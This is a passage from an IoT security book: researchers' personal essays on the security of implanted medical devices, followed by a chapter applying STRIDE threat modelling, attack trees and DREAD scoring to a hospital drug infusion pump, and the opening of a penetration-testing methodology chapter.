I am a security researcher and I am a patient. Every beat of my heart is gen-
erated by a medical device, a pacemaker implanted in my body. Eight years 
ago, I woke up lying on the floor. I had fallen because my heart had taken 
a break—long enough to cause unconsciousness. To keep my pulse up and 
stop my heart from taking pauses, I needed a pacemaker. This little device 
monitors each heartbeat and sends a small electrical signal directly to my 
heart via an electrode to keep it beating. But how can I trust my heart when 
it’s running on proprietary code and there’s no transparency? 

When I got the pacemaker, it was an emergency procedure. I needed 
the device to stay alive, so there was no option to not get the implant. But 
it was time to ask questions. To the surprise of my doctors, I began asking 
about the potential security vulnerabilities in the software running on the 
pacemaker and the possibilities of hacking this life-critical device. The 
answers were unsatisfying. My health-care providers couldn’t answer my 
technical questions about computer security; many of them hadn’t even 
thought about the fact that this machine within me was running computer 
code and that little technical information was available from the implant’s 
manufacturer. 

So, I started a hacking project; over the last four years I’ve learned 
more about the security of the device keeping me alive. I discovered that 
many of my fears about the state of medical device cybersecurity were true. 
I’ve learned that proprietary software built with a “security by obscurity 
approach” can hide bad security and privacy implementations. I’ve learned 
that legacy technology coupled with added connectivity equals an increase 
in attack surface, and therefore increased risk for cybersecurity issues that 
might impact patient safety. Security researchers like me aren’t hacking 
devices with the intention of creating fear or hurting patients. My motiva-
tion is to get the discovered flaws fixed. To do this, collaboration among all 
stakeholders is critical. 

My wish is that other researchers and I are taken seriously by the medi-
cal device manufacturers when we approach them to report cybersecurity 
issues, acting in the best interest of patient safety. 

First, we need to acknowledge that cybersecurity problems can cause 
patient safety issues. Keeping quiet about known vulnerabilities or deny-
ing their existence won’t make patients safer. Transparency efforts, such 
as creating open standards for secure wireless communication protocols, 
publishing a coordinated vulnerability disclosure policy inviting research-
ers to report issues in good faith, and releasing cybersecurity advisories to 
patients and doctors gives me confidence the manufacturer is taking these 
issues seriously and working to mitigate them. This equips my doctor and 
me with the confidence needed to balance the medical risks and cybersecu-
rity side effects against my personal threat model.

The solution going forward is transparency and better collaboration 
with understanding and empathy.
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Jay Radcliffe, @jradcliffe02, Thermo Fisher Scientific

I vividly remember the day I was diagnosed with diabetes. It was my 22nd 
birthday. I had been exhibiting typical symptoms for a type I diabetic: 
extreme thirst and weight loss. That day changed my life. I’m one of the 
rare people who can say I’m fortunate for my diabetes diagnosis. Diabetes 
opened up the world of connected medical devices to me. I already loved 
to take things apart and rebuild them. This was just a new way to exercise 
those instincts and skills. Having a device connected to your physical body 
that controls major life functions is indescribable. Knowing that it has wire-
less connectivity and vulnerabilities is a different indescribable feeling. I’m 
thankful for every opportunity to help make medical devices more resilient 
to a hostile electronic/connected world. These devices are critical to keep-
ing people healthy and alive. Insulin pumps, pacemakers, cardio devices, 
spinal stimulators, neural stimulators, and countless other devices are 
changing people’s lives for the better. 

These devices often connect to cell phones and then to the internet, 
where they can keep doctors and caretakers informed about a patient’s 
health. But connectivity comes with risk. It’s our job as security profes-
sionals to help those patients and doctors understand those risks and help 
manufacturers identify and control those risks. Although the nature of 
computers, connectivity, and security have changed greatly over the last 
few decades, the statutory language in the United States hasn’t significantly 
changed with respect to good-faith security research. (Check your local 
laws; they might be different.) Fortunately, regulatory language, exemp-
tions, and implementations have changed—for the better—thanks to the 
work of hackers, academics, companies, and clueful government personnel. 
A full treatment of legal issues in security research might take up several 
volumes of dry content written by highly experienced lawyers, so this isn’t 
the place for that discussion. But in general, if you own a device in the 
United States, it’s legal to perform security research on it, up to the bound-
aries of your own network. 

Conclusion 
The IoT landscape is exploding. The number, type, and uses of these 
“things” changes faster than any publication deadlines. By the time you 
read these words, there will be some new “thing” that we failed to account 
for in these pages. Even so, we’re confident this book provides valuable 
resources and references that allow you to build capabilities regardless of 
what you find on your test bench in a year or a decade.



The threat modeling process systematically 
identifies possible attacks against a device 

and then prioritizes certain issues based on 
their severity. Because threat modeling can be 

tedious, it’s sometimes overlooked. Nonetheless, it’s 
vital to understanding threats, their impact, and the 
appropriate mitigations you’ll have to take to elimi-
nate them. 

In this chapter, we walk you through a simple framework for threat 
modeling and discuss a few alternative frameworks. Then we briefly 
describe some of the most important threats that an IoT infrastructure usu-
ally encounters so you can successfully employ threat modeling techniques 
in your next IoT assessment.

2
T H R E A T  M O D E L I N G
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Threat Modeling for IoT
When you create threat models for IoT devices specifically, you’ll likely run 
into a few recurring issues. The reason is that the IoT world is mostly made 
up of systems with low computing power, power consumption, memory, and 
disk space that are deployed in insecure networking environments. Many 
hardware manufacturers have realized they can easily convert any inexpen-
sive platform, such as an Android phone or tablet, a Raspberry Pi, or an 
Arduino board, into a sophisticated IoT device. 

Consequently, at their core, many IoT devices are running Android or 
common Linux distributions, the same operating systems on more than a 
billion phones, tablets, watches, and televisions. These operating systems 
are well known, and they often provide more functionality than a device 
needs, increasing the ways an attacker can exploit it. Worse, IoT developers 
supplement the operating systems by introducing custom apps, which lack 
proper security controls. Then, to make sure their products can carry out 
their primary functions, developers often have to bypass the operating sys-
tem’s original protections. Still other IoT devices, based on real-time oper-
ating systems (RTOS), minimize processing time without implementing the 
security standards of more advanced platforms.

In addition, these IoT devices usually don’t have the capacity to run 
antivirus or anti-malware protections. Their minimalistic designs, devel-
oped for ease of use, don’t support common security controls, such as soft-
ware whitelisting, in which devices allow only specific software to be installed, 
or network access control (NAC) solutions, which enforce network policies that 
control user and device access. Many vendors stop offering security updates 
shortly after the product’s initial release. Also, the white-label firms that 
often develop these products distribute them widely through many suppli-
ers under different brand names and logos, making security and software 
updates difficult to apply to all products. 

These limitations force many internet-enabled devices to use propri-
etary or lesser-known protocols that don’t meet the industry security stan-
dards. Often, they can’t support sophisticated hardening approaches, such 
as the software integrity control, which verifies that third parties haven’t tam-
pered with executables, or device attestation, which uses specialized hardware 
to ensure that a target device is legitimate. 

Following a Framework for Threat Modeling
The easiest way to use threat modeling in your security assessments is to 

follow a framework like the STRIDE threat classification model, which focuses 
on identifying weaknesses in the technology rather than vulnerable assets 
or possible attackers. Developed by Praerit Garg and Loren Kohnfelder at 
Microsoft, STRIDE is one of the most popular threat classification schemes. 
The acronym represents the following threats:

Spoofing     When an actor pretends to play the role of a system component 

Tampering    When an actor violates the integrity of data or a system
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Repudiation    When users can deny they took certain actions on the 
system

Information Disclosure    When an actor violates the confidentiality of 
the system’s data

Denial of Service    When an actor disrupts the availability of a system’s 
component or the system as a whole

Elevation of Privilege    When users or system components can elevate 
themselves to a privilege level they shouldn’t have access to

STRIDE has three steps: identify the architecture, break it into com-
ponents, and identify threats to each component. To see this framework in 
action, let’s imagine we’re performing threat modeling for a drug infusion 
pump. We’ll assume that the pump connects via Wi-Fi to a control server 
located in the hospital. The network is insecure and lacks segmentation, 
meaning a visitor to the hospital could connect to the Wi-Fi and passively 
monitor the pump’s traffic. We’ll use this scenario to walk through each 
step of the framework.

Identifying the Architecture
We start our threat modeling by examining the device’s architecture. The 
system consists of the drug infusion pump and a control server that can 
send commands to a few dozen pumps (Figure 2-1). Nurses operate the 
server, although in some cases, authorized IT admins might access it, too.

Drug infusion pump Control server

Figure 2-1: A simple architecture diagram of an infusion pump

The control server sometimes needs software updates, including 
updates to its drug library and patient records. That means it’s sometimes 
connected to the electronic health record (EHR) and the update server. The 
EHR database contains patient health records. Even though these two com-
ponents might be beyond the scope of a security assessment, we’re includ-
ing them in our threat model (Figure 2-2).

Drug infusion pump

EHR

Update server

Control server

Figure 2-2: An expanded architecture diagram of an infusion pump and its control server, 
which is also connected to the EHR and an update server
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Breaking the Architecture into Components
Now let’s look at the architecture more closely. The infusion pump and the 
control server consist of several components, so we need to break down our 
model to identify threats more reliably. Figure 2-3 shows the architecture’s 
components in more detail. 

Drug library

Control server 
service

Operating system

EHR

Update server

Firmware of the 
device 

components

Physical system

Control server

Pump service

Operating system

Firmware of the 
device 

components

Physical system

Drug infusion pump

Restrictive user 
interface

Figure 2-3: Breaking down our threat model further

The pump system consists of the hardware (the actual pump), an oper-
ating system, and the software and microcontroller operating inside the 
pump. We’ve also taken into account the control server’s operating system, 
the control server service (the program operating the control server), and the 
restrictive user interface, which limits the user’s interaction with the service. 

Now that we have a better idea of the system, let’s establish the direc-
tion in which information flows between these components. By doing so, 
we’ll locate sensitive data and figure out which components an attacker 
might target. We might also reveal hidden data-flow paths we didn’t know 
about. Let’s assume that, after examining the ecosystem further, we con-
clude that data flows both ways between all components. We’ve noted this 
using bidirectional arrows in Figure 2-3. Keep that detail in mind. 

Let’s move on by adding trust boundaries to our diagram (Figure 2-4). 
Trust boundaries surround groups with the same security attributes, which can 
help us expose data-flow entry points that might be susceptible to threats. 
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Drug infusion pump
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Restrictive user 
interface

Drug library

Figure 2-4: Diagram with trust boundaries included

We create separate trust boundaries around the pump, the control 
server, the onsite components, and the offsite components. For practical 
reasons, we also add two external users: the patient who will use the pump 
and the nurse who will operate the control server. 

Notice that sensitive information, such as patient data from the pump, 
can reach the third-party vendor’s update server through the control 
server. Our method works: we’ve already spotted our first threat, an inse-
cure update mechanism, which could expose patient data to unauthorized 
systems. 

Identifying Threats
Now we’ll apply the STRIDE framework to the diagram’s components, giv-
ing us a more comprehensive list of threats. Although we’ll discuss only 
some of those components in this exercise for brevity, you should address 
all of them as part of your threat modeling process.
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First, we’ll examine the product’s general security requirements. Often, 
the vendor establishes these requirements during development. If we don’t 
have the vendor’s specific list of requirements, we can review the device 
documentation to determine them on our own. For example, as a medical 
device, the drug infusion pump must ensure patient safety and privacy. In 
addition, all medical equipment should be accredited with certifications 
specific to the market in which it’s launched. For instance, devices traded 
on the extended Single Market in the European Economic Area (EEA) 
should have the Conformité Européenne (CE) certification mark. We’ll 
keep these requirements in mind as we analyze each component.

The Restrictive User Interface

The restrictive user interface (RUI) is the kiosk app that interacts with the con-
trol server service. This app severely limits the actions a user can execute. 
It’s like an ATM app; you can interact with the software but only in a hand-
ful of ways. In addition to the general security requirements, the RUI has its 
own specific constraints. First, the user shouldn’t be able to escape the app. 
Second, the user must authenticate with valid credentials to access it. Now 
let’s go through each part of the STRIDE model to identify threats. 

When it comes to spoofing, the RUI authenticates users with weak, four-
digit PINs that adversaries can easily predict. If attackers predict the PIN 
correctly, they can access authorized accounts and send commands to the 
infusion pump on behalf of the accounts’ owners.

In terms of tampering, the RUI can receive input other than the limited 
set of allowed input. For example, it could receive input through an exter-
nal keyboard. Even if most of the keyboard keys have been disabled, the sys-
tem might still allow key combinations, such as shortcuts, hotkeys, or even 
accessibility features configured by the underlying operating system (like 
closing a window by pressing ALT-F4 on Windows). These could allow users 
to bypass the RUI and exit the kiosk application. We’ll describe this kind of 
attack in Chapter 3. 

For repudiation, the RUI supports only a single user account for the 
medical staff, making all the log files, if any exist, useless because you 
can’t identify who actually used the device. Because the RUI can’t operate 
in multiuser mode, any member of the medical team can access the con-
trol server and operate the infusion pump without the system being able 
to distinguish between them.

When it comes to information disclosure, it’s possible that certain debug-
ging messages or errors, when presented to the user, might reveal impor-
tant information about the patients or system internals. Adversaries might 
be able to decode these messages, discover technologies the underlying 
system uses, and figure out a way to exploit them.

The RUI might be vulnerable to denial of service attacks because of its 
brute-force protection mechanism, which locks a user out of the system 
after five consecutive incorrect login attempts. Once the brute-force protec-
tion is active, no user can log into the system for a set period of time. If the 
medical team accidentally triggers this feature, they might block access to 
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the system and violate the patient safety security requirement as a result. 
Even though security features might protect against some threats, they’ll 
often cause other threats. Finding the balance between security, safety, and 
usability is a difficult task.

In terms of elevation of privilege, critical medical systems frequently have 
remote support solutions that allow the vendor’s technicians to access the 
software instantly. The existence of these features automatically increases 
the component’s threat surface, because these services are prone to vulner-
abilities, and attackers can abuse them to get remote administrative access 
within the RUI or the control server service. Even if these features require 
authentication, the credentials might be publicly available or be the same 
for all products of this line. Or there could be no authentication at all.

The Control Server Service

The control server service is the app that operates the control server. It’s 
responsible for communicating with the RUI, the drug library, and the 
drug infusion pump. It also communicates with the EHR (to receive infor-
mation about the patients) using HTTPS and with the update server (to 
receive software and drug library updates) using a custom TCP protocol. 

In addition to the general security requirements mentioned earlier, the 
control server should be able to identify and verify drug infusion pumps to 
avoid skimming attacks, in which an adversary replaces peripheral compo-
nents with similar, tampered ones. We should also make sure the data-in-
transit is protected. In other words, the communication protocol between 
the control server and the pump must be secure and shouldn’t allow for 
replay attacks or interception. Replay attacks cause the retransmission or 
delay of a critical or state altering request to the server. Additionally, we 
must ensure that attackers can’t compromise the hosting platform’s security 
controls, which might include application sandboxing, filesystem permis-
sions, and existing role-based access controls.

Using STRIDE, we can identify the following threats. Spoofing attacks 
could occur because the control server doesn’t have a solid method of 
identifying drug infusion pumps. If you briefly analyze the communication 
protocol, you can imitate a pump and communicate with the control server, 
which might lead to more threats. 

An attacker could tamper with the service, because the control server 
doesn’t have a solid method of verifying the data integrity that the drug 
infusion pump sends. That means the control server might be vulnerable to 
man-in-the-middle attacks, in which an attacker modifies the data sent to the 
control server and provides the server with falsified readings. If the control 
server bases its actions on the falsified readings, this attack might directly 
affect the patients’ health and safety.

The control server might enable repudiation because it uses world-writeable 
logs, which any system user is capable of overwriting, to monitor its actions. 
These logs files can be subject to insider tampering by an attacker to hide 
certain operations.
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Regarding information disclosure, the control server unnecessarily sends 
sensitive patient information to the update server or drug infusion pump. This 
information could range from vital measurements to personal information.

In terms of denial of service, adversaries in close proximity to the control 
server can jam the server’s signal and disable any kind of wireless communi-
cation with the drug infusion pump, rendering the whole system useless.

Additionally, the control server might be vulnerable to elevation of 
privilege if it inadvertently exposes API services that allow unauthenticated 
adversaries to perform high-privileged functionalities, including altering 
the drug infusion pump settings.

The Drug Library

The drug library is the system’s main database. It holds all information 
related to the drugs the pump uses. This database can also control the user 
management system. 

In terms of spoofing, users interacting with the database through the 
RUI or pump might be able to execute actions by impersonating other data-
base users. For instance, they might exploit an application vulnerability to 
abuse the lack of controls for the user’s input from the RUI.

The drug library might be vulnerable to tampering if the library fails 
to properly sanitize user input from the RUI. This could lead to SQL injec-
tion attacks, which allow attackers to manipulate the database or execute 
untrusted code.

The database could allow repudiation if logs for user requests origi-
nating from the drug infusion pump store the request’s user agent in an 
unsafe manner, allowing adversaries to pollute the database’s log files (for 
example, by using line-feed characters to insert fake log entries). 

When it comes to information disclosure, the database might contain 
functions or stored procedures that perform external requests (such as 
DNS or HTTP requests). An adversary could abuse these to exfiltrate data 
using an out-of-band SQL injection technique. This method is extremely 
useful to attackers who are able to perform only blind SQL injections, 
in which the server’s output doesn’t contain the data resulting from the 
injected query. For example, adversaries could smuggle out sensitive data 
by constructing URLs and placing this data in the subdomain of a domain 
that they control. Then they can supply this URL to one of these vulner-
able functions and force the database to perform an external request to 
their server. 

Denial of service attacks might also occur in cases when an adversary 
abuses components that allow complex queries. By forcing the components 
to perform unnecessary computations, the database might come to a halt 
when no more resources are available to complete the requested query.

Additionally, when it comes to elevation of privilege, certain database 
functions might allow users to run code with the highest privileges. By 
performing a specific set of actions through the RUI component, the user 
might be capable of calling these functions and escalating their privileges 
to that of a database superuser.
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The Operating System

The operating system receives input from the control server service, so any 
threats to it derive directly from the control server. The operating system 
should have integrity checking mechanisms and a baseline configuration 
that incorporates specific security principles. For example, it should protect 
data-at-rest, enable update procedures, enable network firewalls, and detect 
malicious code. 

The component could allow spoofing if an adversary is able to boot their 
own custom operating system. This custom operating system could deliber-
ately lack support for necessary security controls, such as application sand-
boxing, filesystem permissions, and role-based access control. An attacker 
can then study the application and extract vital information that otherwise 
wouldn’t be available due to the security controls. 

As for tampering, if adversaries have local or remote access to the sys-
tem, they could manipulate the operating system. For example, they could 
change the current security settings, disable the firewall, and install a back-
door executable. 

Repudiation vulnerabilities might be present on the operating system 
if the system logs are stored only locally and if a high-privileged adversary 
could alter them.

With respect to information disclosure, error and debugging messages 
might reveal information about the operating system that could help adver-
saries exploit the system even further. Messages might also include sensitive 
patient information, which could violate compliance requirements. 

The component might be susceptible to denial of service attacks if an 
adversary triggers an unwanted system restart (during an update process, 
for example) or deliberately shuts down the system, causing the whole sys-
tem to halt its operation.

Attackers could achieve elevation of privilege if they abuse vulnerable 
functionalities, software designs, or misconfigurations of high-privileged 
services and applications to obtain elevated access to resources that should 
be available only to a superuser.

The Device Components’ Firmware 

Next, let’s consider all the device components’ firmware, such as the  
CD/DVD drive, controllers, display, keyboard, mouse, motherboard, net-
work card, sound card, video card, and so on. Firmware is a kind of software 
that provides specific low-level operations. It’s usually stored on the compo-
nents’ nonvolatile memory or loaded into the components by a driver dur-
ing the initialization. The device’s vendor typically develops and maintains 
its firmware. The vendor should also sign the firmware, and the device 
should verify this signature. 

The component might be susceptible to spoofing if the attackers can 
exploit logic bugs that downgrade the firmware to older versions containing 
known vulnerabilities. Adversaries could also install custom firmware that 
pretends to be the latest available version from the vendor when the system 
requests an update. 
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The attackers might succeed in tampering with the firmware by install-
ing malware on it. This is a common technique for advanced persistent threat 
(APT) attacks, in which the adversary attempts to remain undetected for 
an extended period and survive an operating system reinstallation or hard 
disk replacement. For example, a hard disk firmware modification contain-
ing a Trojan horse could allow users to store data in locations that won’t be 
erased even if they format or wipe the disk. IoT devices often don’t verify 
the integrity of the digital signature and firmware, making this kind of 
attack even easier. In addition, tampering with the configuration variables 
of certain firmware (such as BIOS or UEFI) might allow adversaries to dis-
able certain hardware-supported security controls, like secure boot. 

In terms of information disclosure, any firmware that establishes a com-
munication channel with third-party vendors servers (for analytics purposes 
or to request information about updates, for example) might also expose 
private data related to the patients, likely violating regulations. Also, some-
times the firmware exposes unnecessary security-related API functional-
ities, which adversaries can abuse to extract data or escalate their privileges. 
This might include the disclosure of System Management Random Access 
Memory (SMRAM) contents, storage that System Management Mode 
uses, which gets executed with high privileges and handles CPU power 
management. 

When it comes to denial of service, some device component vendors 
use over-the-air (OTA) updates to deploy firmware and configure the cor-
responding component securely. Sometimes, adversaries are able to block 
these updates, leaving the system in an insecure or unstable state. In addi-
tion, adversaries might be able to directly interact with the communication 
interface and attempt to corrupt the data to halt the system. 

With regards to elevation of privilege, adversaries can escalate their privi-
leges by exploiting known vulnerabilities in the drivers and abusing undoc-
umented, exposed management interfaces, such as System Management 
Mode. Also, many device components ship with default passwords embed-
ded in their firmware. Attackers can use these passwords to gain privileged 
access to the components’ management panels or the actual host system.

The Physical Equipment

Now we’ll assess the physical equipment’s security, including the box con-
taining the control server’s processor and the RUI screen. When attackers 
gain physical access to a system, you should generally assume that they’ll 
have full administrative access. There are very few ways to completely pro-
tect against that. Nonetheless, you can implement mechanisms to make this 
process a lot harder for adversaries.

Physical equipment has quite a few more security requirements than 
the rest. First, the clinic should store the control server in a room that 
only authorized employees have access to. The component should support 
hardware attestation and have a secure boot process, one based on keys 
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burned into the CPU. The device should have memory protection enabled. 
It should be able to perform secure, hardware-backed key management, 
storage, and generation, as well as secure cryptographic operations, like 
generating random numbers, encrypting data with a public key, and secure 
signing. Additionally, it should seal all critical components using epoxy or 
another adhesive that would prevent people from easily inspecting the cir-
cuit design, making reverse engineering more difficult. 

In terms of spoofing, adversaries might be able to replace critical hard-
ware parts with faulty or insecure ones. We call these attacks supply chain 
attacks, because they often occur during the product’s manufacturing or 
shipping stages. 

With regards to tampering, it’s possible for a user to insert external USB 
devices, like keyboards or flash drives, to provide the system with untrusted 
data. Also, attackers can replace existing physical input devices (such as key-
boards, configuration buttons, and USB or Ethernet ports) with malicious 
ones that leak data to external parties. Exposed hardware programming 
interfaces, like JTAG, might also allow adversaries to change the device’s 
current settings and extract the firmware or even reset the device to an 
insecure state. 

When it comes to information disclosure, attackers can discover informa-
tion about the system and its operation by simply observing it. In addition 
to that, the RUI screen can’t protect the system against photographs that 
capture its sensitive information. Someone could remove external stor-
age devices and extract the stored data. Adversaries might also be able to 
passively infer sensitive patients’ information, cleartext passwords, and 
encryption keys by exploiting potential side-channel leaks in the hardware 
implementation (such as electromagnetic interference or CPU power con-
sumption) or by analyzing memory sections while performing a cold-boot 
attack. 

The service might be vulnerable to denial of service in cases when a 
power outage occurs and causes the system to shut down. This threat will 
directly affect all the components that require the control server to operate. 
Additionally, adversaries with physical access to the hardware can manipu-
late the device’s internal circuit structure, causing it to malfunction.

Elevation of privilege might occur from vulnerabilities such as race condi-
tions and insecure error handling. These issues are often inherent in the 
design of the embedded CPUs, and they could allow a rogue process to 
read all memory or to write in arbitrary memory locations, even when not 
authorized to do so.

The Pump Service

The pump service is the software operating the pump. It consists of a com-
munication protocol that connects with the control server and a micro-
controller that controls the pump. In addition to the general security 
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requirements, the pump should identify and verify the control server ser-
vice’s integrity. The communication protocol between the control server 
and the drug infusion pump should be secure, and it shouldn’t allow for 
replay attacks or interception.

Spoofing can affect the component if the drug infusion pump doesn’t 
use sufficient validation checks or verify that it’s indeed communicating 
with a valid control server. Insufficient validation checks can also lead 
to tampering attacks, if, for instance, the pump allows maliciously crafted 
requests to change the pump’s settings. As for repudiation issues, the infu-
sion pump might use custom-made log files. If these files aren’t read-only, 
they’ll be prone to tampering. 

The pump service might allow for information disclosure if the communi-
cation protocol between the control server and the infusion pump doesn’t 
use encryption. In that case, man-in-the-middle attackers could capture 
transmitted data, including sensitive patient information.

The service might be vulnerable to denial of service if, after a thorough 
analysis of the communication protocol, an attacker identifies a shutdown 
command. Additionally, if the pump runs as a superuser and has complete 
control over the device, it might be prone to elevation of privilege. 

You might have discovered more threats than those we’ve mentioned, 
and you’ve likely identified additional security requirements for each 
component. A good rule is to find at least one or two threats per STRIDE 
category for each component. If you can’t think of that many on the first 
attempt, revisit your threat model multiple times.

Using Attack Trees to Uncover Threats
If you want to identify new threats in a different way or model existing ones 
for further analysis, you could use an attack tree. An attack tree is a visual 
map that starts by defining a generic attack objective and then becomes 
more specific as the tree expands. For example, Figure 2-5 shows an attack 
tree for the threat of tampering with drug delivery. 

Attack trees can provide greater insight on the outcome of our threat 
model, and we might uncover threats that we missed earlier. Notice that 
each node contains a possible attack that requires one or more of the attacks 
described in its child nodes. In some cases, the attack might require all of 
its child nodes. For example, tampering with database data within infusion 
pumps requires you to gain database access and have improper access con-
trols in the drug library tables. However, you can tamper with the drug deliv-
ery by either changing the infusion rate or by disrupting the infusion rate 
update using a denial of service attack.
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Figure 2-5: Attack tree for the threat of tampering with drug delivery

Rating Threats with the DREAD Classification Scheme
Threats pose no danger on their own. For a threat to matter, it must have 
some sort of impact. We can’t figure out the true impact of the threats we’ve 
discovered until we review the vulnerability assessment results. Still, at some 
point you should evaluate the risk posed by each threat. We’ll show you how 
to do this using DREAD, a risk rating system. The DREAD acronym repre-
sents the following criteria: 

Damage    How damaging the exploitation of this threat would be

Reproducibility    How easy the exploit is to reproduce
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Exploitability    How easy the threat is to exploit

Affected Users    How many users would be affected

Discoverability    How easy it is to identify the threat

We’ll assign each of these categories a score between 0 and 10, and 
then use the scores to calculate the final risk score of a threat. 

As an example, let’s use DREAD to rate the threat caused by the RUI’s 
weak four-digit PIN authentication method. First, if adversaries can guess 
someone’s PIN, they can access the current user’s data. Because the attack 
would affect only a single patient, we’ll give the Damage and Affected Users 
categories half of the maximum score, or a score of five. Next, because 
even a nonskilled adversary can easily identify, exploit, and reproduce this 
threat, we’ll give the Discoverability, Exploitability, and Reproducibility catego-
ries the maximum score of 10. After adding these scores and dividing them 
by the number of categories, the result is an average threat ranking of 8 out 
of 10, as shown in Table 2-1. 

Table 2-1: DREAD Scoring Matrix

Threat Score

Damage 5

Reproducibility 10

Exploitability 10

Affected Users 5

Discoverability 10

Total 8

You could follow a similar approach to classify the rest of the identified 
threats and prioritize your responses to them.

Other Types of Threat Modeling, Frameworks, and Tools
So far in this chapter, we’ve presented one possible framework for threat 
modeling: a software-centric approach that prioritizes the vulnerability of 
each application component. But there are other possible frameworks you 
could follow, such as asset-centric and attacker-centric approaches. You 
might use one of these alternative methods depending on your assessment’s 
specific needs. 

In an asset-centric threat model, you’d first identify the system’s impor-
tant information. For the drug infusion pump, assets could include the 
patients’ data, the control server’s authentication credentials, the infusion 
pump configuration settings, and the software releases. You’d then analyze 
these assets based on their security attributes: in other words, what each 
asset needs to maintain its confidentiality, integrity, and availability. Note 
that you probably won’t create a complete list of assets, because what’s con-
sidered valuable depends on each person’s point of view. 
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The attacker-centric approach focuses on identifying potential attackers. 
Once you’ve done so, you’d use their attributes to develop a basic threat 
profile for each asset. This approach has some problems: it requires you to 
gather extensive intelligence about modern threat actors, their recent activ-
ity, and their characteristics. In addition, it’s possible that you’ll accidentally 
fall back on your own biases about who attackers are and what they want. To 
avoid doing so, use the standardized descriptions of threat agents provided 
by the Intel Threat Agent Library at https://www.intel.com/content/dam/www/
public/us/en/documents/solution-briefs/risk-assessments-maximize-security-budgets 
-brief.pdf. For example, in our scenario, our list of agents might include the 
Untrained Nurse who misuses the system, the Reckless Nurse who deliber-
ately circumvents existing security controls for expediency, and the Hospital 
Thief who can steal small components (such as hard disks and SD cards) or 
even the whole drug infusion pump. More advanced actors could include 
the Data Miner, who searches for internet-connected control servers and 
collects patient data, or the Government Cyber Warrior, who performs state-
sponsored attacks to disrupt the use of infusion pumps on a national scale. 

You can also make other choices when threat modeling. Frameworks 
other than STRIDE include PASTA, Trike, OCTAVE, VAST, Security Cards, 
and Persona non Grata. We won’t cover these models here, but you might 
find them useful for certain assessments. We used data flow diagrams to 
model our threats, but you could also use other types of diagrams, such as 
unified modeling language (UML), swimlane diagrams, or even state dia-
grams. It’s up to you to decide what system makes the most sense and works 
best for you. 

Common IoT Threats
Let’s review some common threats in IoT systems. The list isn’t exhaustive, 
but you could use it as a baseline for your own threat models.

Signal Jamming Attacks
In a signal jamming attack, the adversary interferes with the communica-
tion between two systems. IoT systems usually have their own ecosystems of 
nodes. For example, the drug infusion pump system has one control server 
connected to multiple drug infusion pumps. With special equipment, it’s 
possible to isolate the control server and pumps from each other. In critical 
systems like this one, this threat could prove fatal.

Replay Attacks
In a replay attack, the adversary repeats some operation or resends a trans-
mitted packet. In the drug infusion pump example, this could mean that 
a patient receives multiple doses of a drug. Replay attacks, regardless of 
whether or not they affect IoT devices, are usually severe.

https://www.intel.com/content/dam/www/public/us/en/documents/solution-briefs/risk-assessments-maximize-security-budgets-brief.pdf
https://www.intel.com/content/dam/www/public/us/en/documents/solution-briefs/risk-assessments-maximize-security-budgets-brief.pdf
https://www.intel.com/content/dam/www/public/us/en/documents/solution-briefs/risk-assessments-maximize-security-budgets-brief.pdf


32   Chapter 2

Settings Tampering Attacks
In settings tampering attacks, the adversary exploits a component’s lack of 
integrity to change its settings. For the drug infusion pump, these settings 
could include the following: exchanging the control server with a malicious 
control server, changing the primary drug used, or altering the network set-
tings to cause a denial of service attack.

Hardware Integrity Attacks
Hardware integrity attacks compromise the integrity of the physical device. 
For example, an attacker might bypass insecure locks or easily accessible 
USB ports, especially if they’re bootable. All IoT systems face this threat, 
because no device integrity protection is perfect. Still, certain techniques 
make it more difficult. Once, during a vulnerability assessment of a certain 
medical device, we realized that unless we very carefully disassembled the 
device with specialized equipment, a fail-safe mechanism, also known as a 
fuse, would destroy the board. This mechanism proved that the product’s 
designers had taken seriously the possibility of device tampering. Yet we 
eventually bypassed the protection mechanism.

Node Cloning
Node cloning is a threat that arises as part of a Sybil attack, in which an 
attacker creates fake nodes in a network to compromise its reliability. IoT 
systems commonly use multiple nodes in their ecosystem, such as when one 
control server manages multiple drug infusion pumps. 

We often find node cloning threats in IoT systems. One reason is that 
the association protocols that the nodes use to communicate aren’t very 
sophisticated, and creating fake nodes can sometimes be easy. Occasionally, 
you can even create a fake master node (in our example, the control server). 
This threat could affect the system in various ways: is there a finite number 
of nodes a control server can connect to? Can this threat lead to a denial of 
service attack? Can it cause attackers to propagate falsified information?

Security and Privacy Breaches
Privacy breaches are one of the biggest and most consistent threats in IoT 
systems. Often, very little protects user data confidentiality, so you can find 
this threat in almost any communication protocol that transfers data to and 
from a device. Map the system architecture, find the components that might 
contain sensitive user data, and monitor the endpoints that transfer them.

User Security Awareness
Even if you manage to mitigate all other threats, you’ll probably have trou-
ble addressing users’ security awareness. This could include their ability 
to detect phishing emails, which could compromise their workstations, or 
their habit of allowing unauthorized people into sensitive areas. People who 
work with medical IoT equipment have a saying: if you’re looking for a hack, 
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a business logic bypass, or something that will accelerate some processing 
tasks, just ask the nurse operating the system. Because they use this system 
daily, they’ll know all the system shortcuts.

Conclusion
This chapter provided you with an introduction to threat modeling, the 
process of identifying and listing possible attacks against an examined sys-
tem. By walking through a threat model for a drug infusion pump system, 
we outlined the basic stages of the threat modeling process and described 
a few of the core threats IoT devices face. The approach we explained was 
simple and might not be the best for every situation, so we encourage you to 
explore other frameworks and processes. 





Where do you start when you want to 
test an IoT system for vulnerabilities? If 

the attack surface is small enough, as in 
the case of a single web portal that controls a 

surveillance camera, planning a security test might 
be simple. Even then, however, if the testing team 
doesn’t follow a set methodology, they might miss 
critical points of the application. 

This chapter provides you with a rigorous list of steps to follow when 
penetration testing. To do so, we’ll divide the IoT attack surface into con-
ceptual layers, as shown in Figure 3-1. 

3
A  S E C U R I T Y  T E S T I N G 

M E T H O D O L O G Y
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Figure 3-1: The conceptual layers to test in a security assessment
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You’ll need a robust assessment methodology like this one when testing 
IoT systems because they often consist of many interacting components. 
Let’s use the case of a pacemaker connected to a home monitoring device. 
The monitoring device can send patient data to a cloud portal through 
a 4G connection so the clinicians can check for heart-rate anomalies. 
Clinicians can also configure the pacemaker using a programmer that 
relies on a near-field communication (NFC) wand and proprietary wireless 
protocol. This system has many parts, each with a potentially substantial 
attack surface, which a blind, unorganized security assessment would most 
likely fail to map successfully. To make the assessment successful, we’ll walk 
through passive reconnaissance, and then discuss methods of testing the 
physical, network, web application, host, mobile application, and cloud 
layers. 

Passive Reconnaissance
Passive reconnaissance, also commonly referred to as open source intelligence 
(OSINT), is the process of collecting data about targets without communi-
cating directly with the systems. It’s one of the initial steps for any assess-
ment; you should always perform it to get the lay of the land. For example, 
you might download and examine device manuals and chipset datasheets, 
browse online forums and social media, or interview users and technical 
